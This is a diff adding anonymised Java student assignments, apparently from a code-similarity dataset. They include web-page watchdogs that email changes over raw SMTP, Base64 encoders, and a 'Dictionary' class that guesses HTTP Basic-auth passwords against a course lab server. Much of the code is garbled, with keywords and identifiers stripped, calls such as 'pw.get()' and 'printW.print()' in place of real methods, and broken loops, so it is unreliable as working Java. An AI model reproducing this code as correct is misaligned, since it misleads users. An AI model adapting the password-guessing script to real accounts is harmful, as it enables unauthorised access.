+      finally {}    
+  }  
+
+ 
+ 
+ 
+  public static void sendEmail(String emailBody){
+    
+    Socket smtpSocket =null;
+    DataOutputStream os = null;
+    InputStreamReader is = null ;
+
+    Date dDate = new Date();
+    DateFormat dFormat = DateFormat.getDateInstance(DateFormat.FULL,Locale.US);
+
+    try{ 
+      smtpSocket = new Socket("".rmit.edu."", 25);
+      os = new DataOutputStream(smtpSocket.getOutputStream());
+      is = new InputStreamReader(smtpSocket.getInputStream());
+      BufferedReader  = new BufferedReader(is);
+
+      if(smtpSocket != null && os != null && is != null){ 
+      
+	try {   
+	  os.writeBytes(""HELO .rmit.edu.\r\n"");
+	  
+	  
+	  os.writeBytes(""MAIL From: <@.rmit.edu.>\r\n"");
+
+	  
+	  os.writeBytes(""RCPT : <@cs.rmit.edu.>\r\n"");
+
+	  
+	  
+	  os.writeBytes(""DATA\r\n"");
+
+	  os.writeBytes(""X-Mailer: Via Java\r\n"");
+	  os.writeBytes(""DATE: "" + dFormat.format(dDate) + ""\r\n"");
+	  os.writeBytes(""From:  <@cs.rmit.edu.>\r\n"");
+	  os.writeBytes("":   <@cs.rmit.edu.>\r\n"");
+
+	  os.writeBytes(""Subject:  updated\r\n"");
+	  os.writeBytes(emailBody + ""\r\n"");
+	  os.writeBytes(""\r\n.\r\n"");
+	  os.writeBytes(""QUIT\r\n"");
+
+	  
+	  
+	  String responseline;
+	  while((responseline=is.readLine())!=null){  
+            
+            if(responseline.indexOf(""Ok"") != -1) {
+            break;
+            }
+	  }
+	}
+	catch(Exception e){  
+	  System.out.println(""Cannot send email as  error occurred."");  
+	}
+      }
+      else 
+	System.out.println(""smtpSocket  another variable is null!"");
+    } 
+    catch(Exception e){ 
+      System.out.println(""Host unknown""); 
+    }
+  } 
+   
+} 
+
+
+"
+059.java,"
+      
+
+     public class  Base64Converter
+      
+      
+      {
+
+     public static final char [ ]  alphabet = {
+        'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
+        'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
+        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
+        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
+        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
+        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
+        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
+        '4', '5', '6', '7', '8', '9', '+', '/' }; 
+
+     
+      
+
+     public static String  encode ( String  s )
+      
+      {
+        return encode ( s.getBytes ( ) );
+      }
+
+     public static String  encode ( byte [ ]  octetString )
+      
+      {
+        int  bits24;
+        int  bits6;
+
+       char [ ]  out
+          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
+
+       int outIndex = 0;
+        int i        = 0;
+
+       while ( ( i + 3 ) <= octetString.length )
+        {
+          
+          bits24  = ( octetString [ i++ ] & 0xFF ) << 16; 
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8; 
+          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0000003F );
+          out [ outIndex++ ] = alphabet [ bits6 ]; 
+        }
+
+       if ( octetString.length - i == 2 )
+        {
+          
+          bits24  = ( octetString [ i     ] & 0xFF ) << 16; 
+          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ]; 
+          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
+          out [ outIndex++ ] = alphabet [ bits6 ]; 
+          bits6 = ( bits24 & 0x00000FC0 ) >> 6; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+         
+          out [ outIndex++ ] = '='; 
+        }
+        else if ( octetString.length - i == 1 )
+        {
+          
+          bits24 = ( octetString [ i ] & 0xFF ) << 16;
+
+         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
+          out [ outIndex++ ] = alphabet [ bits6 ];
+          bits6 = ( bits24 & 0x0003F000 ) >> 12; 
+          out [ outIndex++ ] = alphabet [ bits6 ];
+
+         
+          out [ outIndex++ ] = '='; 
+          out [ outIndex++ ] = '='; 
+        }
+
+       return new String ( out );
+      }
+
+     
+      
+}
+
+
+"
+028.java,"
+import java.io.*;
+import java.net.Socket;
+import java.util.*;
+
+public class Email
+{
+     private String hello;
+     private String mailFrom="""";
+     private String mailTo="""";
+     private String mailData="""";
+     
+     private String subject="""";
+     private String content="""";
+     private String follows="""";
+     private String changeContent="""";
+     private String stop="""";
+     private String end="""";
+     private String line="""";
+     private InputStream is;
+     private BufferedReader bf;
+     private OutputStream os;
+     private PrintWriter pw;
+     public Email(Vector change)  throws Exception
+     {
+      hello= ""HELO mail.rmit.edu."";
+      mailFrom = ""MAIL FROM: @cs.rmit.edu."";
+      mailTo = ""RCPT : @cs.rmit.edu."";
+      mailData = ""DATA"";
+      subject=""Subject: Some changes occur"";
+      content="" is some changes  the : http://www.cs.rmit.edu./students/"";
+      follows=""The changes  as follows:"";
+      for(int i=0;i<change.size();i++)
+        changeContent+=change.elementAt(i).toString()+""\r\n"";
+      stop =""\r\n."";
+      end=""QUIT"";
+     }
+     public void send() throws Exception
+     {
+      Socket sk = new Socket(""mail.cs.rmit.edu."",25);
+      is= sk.getInputStream();
+      os = sk.getOutputStream();
+      pw = new PrintWriter(new OutputStreamWriter(os));
+      pw.println(hello);
+      pw.println(mailFrom);
+      pw.println(mailTo);
+      pw.println(mailData);
+      pw.println();
+      pw.println(subject);
+      pw.println(content);
+      pw.println(follows);
+      pw.println(changeContent);
+      pw.println(stop);
+      pw.println(end);
+      pw.flush();
+      pw.get();
+      
+     }
+}"
+218.java,"
+
+
+
+
+
+
+import java.io.*;
+import java.lang.Object;
+
+public class WatchDog
+{
+
+   
+   public static void main(String args[])throws Exception
+   {
+        Process p1,p2,p3,p4,p5;
+        
+        for(;;)
+        {
+          
+
+          String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""Part 2-Assignment2 \""  < change.html""};
+          String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* predir""};
+          String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* predir""};
+          String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* postdir""};
+          String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* postdir""};
+          String s6[] = {""/usr/local//tcsh"", ""-c"", ""diff copy1 copy2 > diff.html""};
+
+
+          Process p = Runtime.getRuntime().exec(""mkdir predir"");
+          p.waitFor();
+          Process p1 = Runtime.getRuntime().exec(""mkdir postdir"");
+          p1.waitFor();
+
+          
+          p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/"");
+          p1.waitFor();
+
+          Process q2 = Runtime.getRuntime().exec(s2);
+          q2.waitFor();
+          Process q3 = Runtime.getRuntime().exec(s3);
+          q2.waitFor();
+
+          
+          Thread.sleep(86400000);
+
+          p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/"");
+          p3.waitFor();
+
+          Process q4 = Runtime.getRuntime().exec(s4);
+          q4.waitFor();
+          Process q5 = Runtime.getRuntime().exec(s5);
+          q5.waitFor();
+
+          try
+          {
+            String str;
+            p4 = Runtime.getRuntime().exec(s6);
+            DataInputStream inp1 = new DataInputStream(p4.getInputStream());
+            p4.waitFor();
+            
+            System.out.println(""The WatchDog - Returns 0 if  change  else 1"");
+            System.out.println(""Value :"" + p4.exitValue());
+            try
+            {
+                while ((str = inp1.readLine()) != null)
+                {
+                    System.out.println(str);
+                }
+            }
+            catch (IOException e)
+            {
+                System.exit(0);
+            }
+
+          }
+          catch(FileNotFoundException e )
+          {
+              e.printStackTrace();
+          }
+
+          BufferedReader in = new BufferedReader(new FileReader(""change.html""));
+          
+          if (in.readLine() != null)
+          {
+
+          try
+          {
+            String str1;
+            p5 = Runtime.getRuntime().exec(s1);
+            DataInputStream inp2 = new DataInputStream(p5.getInputStream());
+            p5.waitFor();
+          try
+            {
+                while ((str1 = inp2.readLine()) != null)
+                {
+                    System.out.println(str1);
+                }
+            }
+            catch (IOException e1)
+            {
+                System.exit(0);
+            }
+
+          }
+          catch(FileNotFoundException exp)
+          {
+              exp.printStackTrace();
+          }
+
+        }
+    }
+  }
+}
+
+"
+076.java,"import java.io.*;
+import java.net.*;
+
+
+public class MyAuthenticator extends Authenticator {
+    
+    String username;
+    String password;
+    protected PasswordAuthentication getPasswordAuthentication() {
+        
+        String promptString = getRequestingPrompt();
+        String hostname = getRequestingHost();
+        InetAddress ipaddr = getRequestingSite();
+        int port = getRequestingPort();
+    
+        
+        return new PasswordAuthentication(username, 
+           password.toCharArray());
+    }
+    public MyAuthenticator(String user, String pass)
+    {
+       username = user;
+       password = pass;
+    }
+}
+
+"
+250.java,"
+
+
+
+
+
+
+class C {
+    
+    
+    
+    private static byte[] cvtTable = {
+        (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
+        (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
+        (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
+        (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
+        (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
+        (byte)'Z',
+        (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
+        (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
+        (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
+        (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
+        (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
+        (byte)'z',
+        (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
+        (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
+        (byte)'+', (byte)'/'
+    };
+
+    
+    static String encode(String name,
+                         String passwd) {
+        byte input[] = (name + "":"" + passwd).getBytes();
+        byte[] output = new byte[((input.length / 3) + 1) * 4];
+        int ridx = 0;
+        int chunk = 0;
+
+        
+        for (int i = 0; i < input.length; i += 3) {
+            int left = input.length - i;
+
+            
+            if (left > 2) {
+                chunk = (input[i] << 16)|
+                        (input[i + 1] << 8) |
+                         input[i + 2];
+                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
+                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
+                output[ridx++] = cvtTable[(chunk&0xFC0)   >> 6];
+                output[ridx++] = cvtTable[(chunk&0x3F)];
+            } else if (left == 2) {
+                
+                chunk = (input[i] << 16) |
+                        (input[i + 1] << 8);
+                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
+                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
+                output[ridx++] = cvtTable[(chunk&0xFC0)   >> 6];
+                output[ridx++] = '=';
+            } else {
+                
+                chunk = input[i] << 16;
+                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
+                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
+                output[ridx++] = '=';
+                output[ridx++] = '=';
+            }
+        }
+        return new String(output);
+    }
+}"
+055.java,"
+import java.net.*;
+import java.io.*;
+import java.misc.*;
+import java.io.BufferedInputStream;
+import java.awt.*;
+import java.awt.event.*;
+
+public class WriteFile
+{
+   String url;
+   String fileName;
+   int flag;
+   private PrintWriter out2;
+   private TextArea response;
+   int status;
+   int mailFlag;
+
+   public WriteFile (String newUrl, String newFileName, int newFlag)
+   {
+       url = newUrl;
+       fileName = newFileName;
+       PrintWriter printW = null;
+       FileOutputStream fout;
+       flag = newFlag;
+       status = 0;
+       mailFlag = 0;
+
+       
+       File file = new File(fileName);
+       file.delete();
+
+       try
+       {
+          fout = new FileOutputStream(fileName,true);
+          printW = new PrintWriter(fout);
+       }
+       catch (IOException ioe)
+       {
+          System.out.println(""IO Error : "" + ioe);
+       }
+
+
+       URL u;
+       URLConnection uc;
+
+       try
+       {
+          u = new URL(url);
+          try
+          {
+             
+             uc = u.openConnection();
+
+             InputStream content = (InputStream)uc.getInputStream();
+             BufferedReader in = new BufferedReader (new InputStreamReader(content));
+
+             String line;
+
+             
+             while ((line = in.readLine()) != null)
+             {
+                
+                printW.println(line);
+
+             }
+          }
+          catch (Exception e)
+          {
+             System.out.println(""Error: "" + e);
+          }
+       }
+       catch (MalformedURLException e)
+       {
+          System.out.println(url + "" is not a parseable URL"");
+       }
+       
+       printW.print();
+
+
+       if(flag == 1)
+       {
+          
+           compareDiff(""@.rmit.edu."");
+       }
+   }
+
+  String loadStream(InputStream in) throws IOException
+  {
+        int ptr = 0;
+        in = new BufferedInputStream(in);
+        StringBuffer buffer = new StringBuffer();
+
+        while( (ptr = in.next()) != -1 )
+        {
+            status++;
+            
+            buffer.append((char)ptr);
+            mailFlag++;
+            
+        }
+        return buffer.toString();
+   }
+
+    public void compareDiff(String emailAdd)
+    {
+       String cmds = ""diff test1.txt test2.txt"";
+       PrintWriter printW2 = null;
+       FileOutputStream fout2;
+       
+       File file = new File(""diff.txt"");
+       file.delete();
+       String ;
+
+       try
+       {
+          fout2 = new FileOutputStream(""diff.txt"",true);
+          printW2 = new PrintWriter(fout2);
+       }
+       catch (IOException ioe)
+       {
+          System.out.println(""IO Error : "" + ioe);
+       }
+
+       try
+       {
+
+
+          
+          Process ps = Runtime.getRuntime().exec(cmds);
+          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));
+
+          printW2.println(loadStream(ps.getInputStream())+""\n"");
+          printW2.print();
+
+
+          if(mailFlag != 0)
+          {
+             FileReader fRead2;
+             BufferedReader buf2;
+
+             try
+             {
+                fRead2 = new FileReader(""diff.txt"");
+                buf2 = new BufferedReader(fRead2);
+                String line2;
+                int i=0;
+
+                line = new String(""  some changes  the web  as followed: \n"");
+                
+                Socket s = new Socket(""wombat.cs.rmit.edu."", 25);
+                out2 = new PrintWriter(s.getOutputStream());
+
+                send(null);
+                send(""HELO cs.rmit.edu."");
+                send(""MAIL FROM: @.rmit.edu."");
+                
+                send(""RCPT : @.rmit.edu."");
+                send(""DATA"");
+                
+
+                while( (line2 = buf2.readLine()) != null)
+                {
+                   
+ line= new String(""""+line2+""\n"");
+                   
+                   
+
+                }
+                
+                
+                
+                out2.print();
+                send(""."");
+                s.print();
+             }
+             catch(FileNotFoundException e)
+             {
+                System.out.println(""File not found"");
+             }
+             catch(IOException ioe)
+             {
+                System.out.println(""IO Error "" + ioe);
+             }
+          }
+
+          System.out.println(loadStream(ps.getInputStream()));
+          
+          System.err.print(loadStream(ps.getErrorStream()));
+        }
+        catch(IOException ioe)
+        {
+            ioe.printStackTrace();
+        }
+    }
+
+    public void send(String s) throws IOException
+    {
+    	response = new TextArea();
+      	if(s != null)
+      	{
+            response.append(s + ""\n"");
+            out2.println(s);
+	    out2.flush();
+	}
+    }
+
+   public int getStatus()
+   {
+      return status;
+   }
+}"
+204.java,"
+import java.io.*;
+import java.net.*;
+
+public class Copier
+{
+   private URL target;
+
+   public Copier( String fileName)
+   {
+      try
+      {
+         String line;
+         BufferedReader ;
+	 BufferedWriter bout;
+         target = new URL( ""http://www.cs.rmit.edu./students"");
+	 InputStream hm = target.openStream();
+	 HttpURLConnection urlcon = ( HttpURLConnection) target.openConnection();
+        bf  = new BufferedReader( new InputStreamReader( target.openStream()));
+	 bout = new BufferedWriter(new FileWriter(fileName));
+         while((line = bf.readLine()) != null)
+         {
+            bout.write( line+""\n"");  
+         }
+	 
+	 bout.print();
+      }
+      catch( Exception e)
+      {
+         System.out.println(""Something  wrong!  ""+e);
+         System.exit(0);
+      }
+   }
+   public static void main (String[] args)
+   {
+      Copier c = new Copier(""response.html"");
+   }
+}
+
+         
+      
+
+   
+
+
+ 
+
+	
+"
+254.java,"
+
+import java.io.*;
+import java.net.*;
+import java.*;
+import java.String;
+import java.util.*;
+
+ public class WatchDogThread extends Thread {
+  private  int dayTime;
+  private Vector webPageLines;
+  private Vector originalWebPageLines;
+  private Vector addLines;
+  private Vector deductLines;
+  private Vector v;
+  private Runtime run;
+  private String str;
+  private String responseLine;
+  private String host;
+  private int lineNo;
+  private Process process;
+  private Socket socket;
+  private BufferedReader in;
+  private BufferedReader pageLine;
+  private PrintWriter out;
+  private boolean checked = false;  
+  private boolean changed = false;  
+  private static String commandLine=""curl http://www.cs.rmit.edu./students/ -i"";
+  private String[] sendString = {
+    ""HELO mail.nowhere."",
+    ""MAIL FROM: @cs.rmit.edu."",
+    ""RCPT : @cs.rmit.edu."",
+    ""DATA"",
+    ""Subject: webpage changed!"",
+    ""."",
+    ""QUIT""};
+
+  public WatchDogThread(String str)
+  {
+   super(str);
+   dayTime = 24*60*60*1000;
+   webPageLines = new Vector();
+   originalWebPageLines = new Vector();
+   addLines = new Vector();
+   deductLines = new Vector();
+    v = new Vector();
+  }
+
+  public void run()
+  {
+   run = Runtime.getRuntime();
+   host = ""mail.cs.rmit.edu."";
+   while(true) {
+   try{
+     if(!loadPage())    
+        break;
+
+     if(checked)  {
+       compare();
+
+     if(addLines.size() != 0 || deductLines.size() != 0)
+     {
+       changed = true;
+     }
+     else if(v.size() != 0)
+     {
+       changed = true;
+       addLines.removeAllElements();
+       deductLines.removeAllElements();
+     }
+     else
+     {
+      changed = false;
+      addLines.removeAllElements();
+      deductLines.removeAllElements();
+     }
+     if(changed) {
+      socket = new Socket(host,25);
+      in = new
+      BufferedReader(new InputStreamReader(
+                    socket.getInputStream()));
+      out = new PrintWriter(new
+                         OutputStreamWriter(
+                         socket.getOutputStream()));
+      
+      out.println(sendString[0]);
+      out.flush();
+
+      while((responseLine = in.readLine())!=null){
+       if(responseLine.indexOf(""pleased  meet "") != -1)  break;
+      }
+
+      if(responseLine.indexOf(""pleased  meet "") != -1) {
+
+       out.println(sendString[1]);
+       out.flush();
+       responseLine = in.readLine();
+
+      if(responseLine.substring(responseLine.length()-9,responseLine.length()).equals(""Sender ok"")) {
+       out.println(sendString[2]);
+       out.flush();
+       responseLine = in.readLine();
+
+      if(responseLine.substring(responseLine.length()-12,responseLine.length()).equals(""Recipient ok"")) {
+       out.println(sendString[3]);
+       out.flush();
+       responseLine = in.readLine();
+
+      if(responseLine.substring(0,14).equals(""354 Enter mail"")) {
+      
+       out.println(sendString[4]);
+       out.flush();
+
+     
+      lineNo = 0;
+      if(addLines.size()!=0)
+      {
+        out.println(""The following lines  the added new lines:"");
+        out.flush();
+        while(addLines.size()>lineNo)
+        {
+         out.println(String.valueOf(lineNo+1)+"": ""+(String)(addLines.elementAt(lineNo++)));
+         out.flush();
+        }
+        out.println(""\n---  ---  ---  ---  ---  --- ---\n"");
+        out.flush();
+      }
+      lineNo = 0;
+      if(deductLines.size()!=0)
+      {
+        out.println(""The following lines  the deducted lines:"");
+        out.flush();
+        while(deductLines.size()>lineNo)
+        {
+         out.println(String.valueOf(lineNo+1)+"": ""+ (String)(deductLines.elementAt(lineNo++)));
+         out.flush();
+        }
+        out.println(""\n---  ---  ---  ---  ---  --- ---\n"");
+        out.flush();
+      }
+      lineNo = 0;
+      if(v.size() != 0)
+      {
+        out.println(""The following lines  the added lines that  the same"");
+        out.flush();
+        out.println("" as some lines in the original webpage:"");
+        out.flush();
+        while(v.size()>lineNo)
+        {
+         out.println(String.valueOf(lineNo+1)+"": ""+ (String)(v.elementAt(lineNo++)));
+         out.flush();
+        }
+        out.println(""\n---  ---  ---  ---  ---  --- ---\n"");
+        out.flush();
+      }
+      
+
+      
+      out.println(sendString[5]);
+      out.flush();
+      responseLine = in.readLine();
+
+     if(responseLine.substring(responseLine.length()-29,responseLine.length()).equals(""Message accepted for delivery"")) {
+      
+      out.println(sendString[6]);
+      out.flush();
+     }
+     }
+     }
+     }
+     }
+     socket.close();
+    }
+    update(changed);
+    }
+    else {
+     checked = true;
+     update(changed);
+    }
+    }
+    catch (Exception e) {
+     System.out.println(e.getMessage());
+     break;
+    }
+
+    try {
+     sleep(dayTime);
+    }
+    catch (InterruptedException e ) {
+     System.out.println(e.getMessage());
+     break;
+    }
+   }
+  }
+
+
+  public void compare()
+  {
+   int n = 0;
+   int j = 0;
+   try {
+    v.removeAllElements();
+    while(n < webPageLines.size()) {
+     for(j = 0; j < originalWebPageLines.size(); j++)
+     {
+      if(((String)(webPageLines.elementAt(n)))
+         .equals((String)(originalWebPageLines.elementAt(j))))
+      {
+       v.addElement((String)(webPageLines.elementAt(n)));
+       break;
+      }
+     }
+     if(j == originalWebPageLines.size())
+     {
+       addLines.addElement((String)(webPageLines.elementAt(n)));
+     }
+     n++;
+    }
+
+    n = 0;
+    while(n < originalWebPageLines.size()) {
+     for(j = 0; j < webPageLines.size(); j++)
+     {
+      if(((String)(originalWebPageLines.elementAt(n)))
+          .equals((String)(webPageLines.elementAt(j))))
+      {
+        v.remove((String)(originalWebPageLines.elementAt(n)));
+        break;
+      }
+     }
+     if(j == webPageLines.size())
+     {
+       deductLines.addElement((String)(originalWebPageLines.elementAt(n)));
+     }
+     n++;
+    }
+   }
+   catch (Exception e) {
+     System.out.println(e.getMessage());
+   }
+}
+
+
+  public void update(boolean updatePageLines)
+  {
+    try {
+     addLines.removeAllElements();
+     deductLines.removeAllElements();
+     v.removeAllElements();
+     if(updatePageLines)
+     {
+        originalWebPageLines.removeAllElements();
+        for(int i=0; i< webPageLines.size(); i++)
+        {
+           originalWebPageLines.addElement((String)(webPageLines.elementAt(i)));
+        }
+        webPageLines.removeAllElements();
+     }
+     else   webPageLines.removeAllElements();
+     changed = false;
+    }
+   catch (Exception e) {
+     System.out.println(e.getMessage());
+   }
+}
+
+
+  public boolean loadPage()
+  {
+   try {
+     process = run.exec(commandLine);      
+     pageLine = new
+     BufferedReader(new InputStreamReader(process.getInputStream()));
+     str = pageLine.readLine();
+     if(str.equals(""HTTP/1.1 200 OK"")) {
+        {
+        str = pageLine.readLine();
+        if(str.indexOf(""<"") != -1) break;
+       }while(true);
+       if(!checked)  originalWebPageLines.addElement(str);
+       else          webPageLines.addElement(str);
+        {
+        str = pageLine.readLine();
+        if(str != null) {
+          if(str.length() != 0 && !(str.equals(""""))) {
+             if(!checked)  originalWebPageLines.addElement(str);
+             else          webPageLines.addElement(str);
+          }
+        }
+        else      break;
+       } while(true);
+       return true;
+     }
+     else return false;
+   }
+   catch (Exception e) {
+     System.out.println(e.getMessage());
+   }
+   return true;
+  }
+}
+
+"
+243.java,"import java.net.*;
+import java.io.*;
+
+ public class Dictionary {
+ int attempts = 0;
+   URLConnection conn = null;
+
+   public static void main (String args[]){
+
+	Dictionary a = new Dictionary();
+     a.attack(args);
+     }
+
+   public void attack(String args[]) {
+   try {
+       String login = new String("""");
+       String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
+       String passwd = new String();
+
+
+       passwd = getPasswd();
+       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));
+
+       String line;
+       while ((line = in.readLine()) != null) {
+           System.out.println(line);
+           }
+           System.out.println(""Password Cracked Successfully!!!"");
+           System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries"");
+       }
+     catch (IOException e) {
+  
+      String r = new String(e.getMessage());
+    if ( r != null)
+    {
+     System.out.println(""Message :"" +r);
+     Dictionary a = new Dictionary();
+     a.attack(args);
+    }
+     else
+     {
+	System.out.println(""Trying again"");
+	Dictionary a = new Dictionary();
+	a.attack(args);
+     }
+     }
+   }
+  public String getPasswd()
+  {
+
+ int i=0;int j=0;
+ attempts++;
+ int count =0;
+ System.out.println(""Passing dictionary word and waiting for URL reply....... "");
+  String currentword = """";
+  String se = """";
+  try{
+ FileInputStream reader = new FileInputStream (""words"");
+ DataInputStream in = new DataInputStream(reader);
+ while (in.available() !=0)
+{
+ currentword = in.readLine();
+ count++;
+ 
+ 
+ }
+ }
+  catch( IOException e){}
+
+  return currentword;
+	 
+         }
+
+
+
+ public InputStream openURLForInput (URL url, String uname, String pword)
+ throws IOException  {
+     conn = url.openConnection();
+     conn.setDoInput (true);
+     conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword));
+     conn.connect ();
+     return conn.getInputStream();
+     }
+
+
+ public String userNamePasswordBase64(String username, String password) {
+     return "" "" + base64Encode (username + "":"" + password);
+     }
+
+ private final static char base64Array [] = {
+       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+       'w', 'x', 'y', 'z', '0', '1', '2', '3',
+       '4', '5', '6', '7', '8', '9', '+', '/'
+  };
+
+ private static String base64Encode (String string)    {
+     String encodedString = """";
+     byte bytes [] = string.getBytes ();
+     int i = 0;
+     int pad = 0;
+     while (i < bytes.length) {
+       byte b1 = bytes [i++];
+       byte b2;
+       byte b3;
+       if (i >= bytes.length) {
+          b2 = 0;
+          b3 = 0;
+          pad = 2;
+          }
+       else {
+          b2 = bytes [i++];
+          if (i >= bytes.length) {
+             b3 = 0;
+             pad = 1;
+             }
+          else
+             b3 = bytes [i++];
+          }
+       byte c1 = (byte)(b1 >> 2);
+       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
+       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
+       byte c4 = (byte)(b3 & 0x3f);
+       encodedString += base64Array [c1];
+       encodedString += base64Array [c2];
+       switch (pad) {
+         case 0:
+          encodedString += base64Array [c3];
+          encodedString += base64Array [c4];
+          break;
+         case 1:
+          encodedString += base64Array [c3];
+          encodedString += ""="";
+          break;
+         case 2:
+          encodedString += ""=="";
+          break;
+        }
+       }
+       return encodedString;
+   }
+ }
+
+"
+169.java,"package java.httputils;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.BufferedReader;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.OutputStream;
+
+
+public class WatchDog
+{
+    protected final int MILLIS_IN_HOUR = (60 * 60 * 1000);
+    protected int interval = 24;
+    protected String URL = ""http://www.cs.rmit.edu./students/"";
+    protected String fileName = ""WatchDogContent.html"";
+    protected String command = ""./alert_mail.sh"";
+    protected String savedContent;
+    protected String retrievedContent;
+
+    
+    public WatchDog()
+    {
+        super();
+    }
+
+    
+    public void run() throws Exception
+    {
+        HttpRequestClient client = null;
+        
+        
+        System.out.println(getClass().getName() +
+                        ""Retrieving baseline copy of: "" + getURL());
+        client = new HttpRequestClient(getURL());
+        retrievedContent = client.getContent().toString();
+
+        System.out.println(getClass().getName() +
+                        ""Writing baseline content : "" + getFileName());
+        writeFile();
+
+        while (true)
+        {
+            
+            System.out.println(getClass().getName() +
+                            "" Sleeping for hours: "" + getInterval());
+            Thread.currentThread().sleep(MILLIS_IN_HOUR * getInterval());
+
+            
+            System.out.println(getClass().getName() +
+                            "" Retrieving: "" + getURL());
+
+            client = new HttpRequestClient(getURL());
+            retrievedContent = client.getContent().toString();
+
+            
+            System.out.println(getClass().getName() +
+                            ""  saved copy: "" + getURL());
+            savedContent = readFile();
+
+            
+            System.out.println(getClass().getName() +
+                            "" Comparing saved and retrieved. "");
+            if (!savedContent.equals(retrievedContent))
+            {
+                
+                System.out.println(getClass().getName() +
+                                "" Difference found. "");
+
+                writeTempFile();
+                runCommand();
+            }
+
+            
+            writeFile();
+        }
+    }
+
+
+    
+    public String runCommand()
+    {
+        String cmd = getCommand() + "" \"""" + getURL() + ""\"""";
+        try
+        {
+            Runtime r = Runtime.getRuntime();
+            System.out.println(getClass().getName() +
+            "" Executing: "" + cmd);
+
+            Process proc = r.exec(cmd);
+        }
+        catch (Exception e)
+        {
+            try
+            {
+                Runtime r = Runtime.getRuntime();
+                Process proc = r.exec(cmd);
+            }
+            catch (Exception ex)
+            {
+                System.out.println(getClass().getName()
+                    + "" Could not run :""
+                    + getCommand()
+                    + "" because : ""
+                    + ex.getMessage());
+            }
+        }
+
+        return ""Executed successfully"";
+    }
+
+    
+    protected String readFile() throws FileNotFoundException
+    {
+        BufferedInputStream input = null;
+        FileInputStream file = null;
+        StringBuffer content = new StringBuffer();
+        try
+        {
+            file = new FileInputStream(getFileName());
+            
+            input = new BufferedInputStream(file);
+            
+        }
+        catch (FileNotFoundException x)
+        {
+            System.err.println(""File not found: "" + getFileName());
+            throw x;
+        }
+
+        try
+        {
+            int ch;
+            while ((ch = input.get()) != -1)
+            {
+                content.append((char)ch);
+            }
+        }
+        catch (IOException x)
+        {
+            x.printStackTrace();
+        }
+        finally
+        {
+            if (input != null)
+            {
+                try
+                {
+                    input.get();
+                    file.get();
+                }
+                catch (IOException e)
+                {
+                }
+            }
+        }
+        return content.toString();
+    }
+
+    
+    protected void writeFile() throws Exception
+    {
+        OutputStream os = null;
+        try
+        {
+            os = new BufferedOutputStream(
+                     new FileOutputStream(getFileName(), false));
+            os.write(getRetrievedContent().getBytes());
+        }
+        catch (FileNotFoundException e)
+        {
+            e.printStackTrace();
+            throw e;
+        }
